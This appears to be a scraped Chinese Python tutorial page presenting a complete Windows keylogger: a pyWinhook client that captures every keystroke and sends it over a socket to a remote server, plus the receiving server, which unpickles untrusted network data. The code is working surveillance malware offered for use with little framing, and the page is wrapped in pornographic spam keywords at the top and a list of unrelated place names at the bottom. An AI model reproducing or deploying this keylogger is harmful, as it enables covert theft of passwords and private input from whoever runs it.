最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

python實現(xiàn)監(jiān)聽鍵盤

 更新時間:2021年04月26日 11:36:52   作者:noc_13  
這篇文章主要為大家詳細介紹了python實現(xiàn)監(jiān)聽鍵盤,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下

python實現(xiàn)監(jiān)聽鍵盤,供大家參考,具體內(nèi)容如下實現(xiàn)服務端

import pickle
from io import BytesIO
import socket

#接收數(shù)據(jù)
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的數(shù)據(jù)
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

鍵盤監(jiān)聽程序

#鍵盤監(jiān)聽

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger() 

其中的pythoncom,pyWinhook百度查找安裝方法,在此不贅述

運行(先運行服務端,而后運行監(jiān)聽程序)

以上就是本文的全部內(nèi)容,希望對大家的學習有所幫助,也希望大家多多支持腳本之家。

相關文章

  • Python將列表數(shù)據(jù)寫入文件(txt, csv,excel)

    Python將列表數(shù)據(jù)寫入文件(txt, csv,excel)

    這篇文章主要介紹了Python將列表數(shù)據(jù)寫入文件(txt, csv,excel),文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2019-04-04
  • Python輕松查找文本文件最熱門單詞技巧

    Python輕松查找文本文件最熱門單詞技巧

    本文將從文件讀取、文本預處理到單詞頻率統(tǒng)計,以及性能優(yōu)化和數(shù)據(jù)可視化等方面逐步展開,為你呈現(xiàn)一場深入學習的旅程,讓我們一同探索如何用代碼揭示文字中的故事,發(fā)現(xiàn)其中隱藏的信息,從而更好地理解和利用這個數(shù)字化時代的寶藏
    2024-01-01
  • Python中的split()、rsplit()、splitlines()的區(qū)別解析

    Python中的split()、rsplit()、splitlines()的區(qū)別解析

    Python提供了三種字符串分割的方法:split()、rsplit()和splitlines(),本文主要通過案例介紹這三種字符串分割函數(shù)的區(qū)別,感興趣的朋友一起看看吧
    2023-12-12
  • Django開發(fā)中復選框用法示例

    Django開發(fā)中復選框用法示例

    這篇文章主要介紹了Django開發(fā)中復選框用法,結合實例形式分析了Django基于ajax的復選框遍歷、提交及后臺數(shù)據(jù)庫查詢等相關操作技巧,需要的朋友可以參考下
    2018-03-03
  • ubuntu系統(tǒng)下切換python版本的方法

    ubuntu系統(tǒng)下切換python版本的方法

    有時候需要在默認python中使用不通版本的python,下面這篇文章主要介紹了ubuntu系統(tǒng)下切換python版本的相關資料,文中通過實例代碼介紹的非常詳細,需要的朋友可以參考下
    2023-04-04
  • Python批量修改圖片分辨率的實例代碼

    Python批量修改圖片分辨率的實例代碼

    今天小編就為大家分享一篇Python批量修改圖片分辨率的實例代碼,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-07-07
  • python requests.post帶head和body的實例

    python requests.post帶head和body的實例

    今天小編就為大家分享一篇python requests.post帶head和body的實例,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-01-01
  • python實現(xiàn)ipsec開權限實例

    python實現(xiàn)ipsec開權限實例

    這篇文章主要介紹了python實現(xiàn)ipsec開權限的方法,彌補了windows自帶的命令行工具netsh ipsec static add filter不支持批量添加及添加重復規(guī)則的不足,非常具有實用價值,需要的朋友可以參考下
    2014-11-11
  • Python使用pandas和xlsxwriter讀寫xlsx文件的方法示例

    Python使用pandas和xlsxwriter讀寫xlsx文件的方法示例

    今天小編就為大家分享一篇關于Python使用pandas和xlsxwriter讀寫xlsx文件的方法示例,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
    2019-04-04
  • django 擴展user用戶字段inlines方式

    django 擴展user用戶字段inlines方式

    這篇文章主要介紹了django 擴展user用戶字段inlines方式,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-03-03

最新評論

桦川县| 建湖县| 闽清县| 龙陵县| 云和县| 深泽县| 石家庄市| 晋州市| 莆田市| 武汉市| 清水县| 哈尔滨市| 内乡县| 长乐市| 兴国县| 六安市| 孙吴县| 郎溪县| 富源县| 马尔康县| 肥城市| 临夏市| 资源县| 芜湖市| 浮梁县| 巴中市| 清原| 平顶山市| 绥德县| 青铜峡市| 桐乡市| 德阳市| 林芝县| 华宁县| 资溪县| 平湖市| 杨浦区| 浮山县| 黑水县| 科技| 高雄市|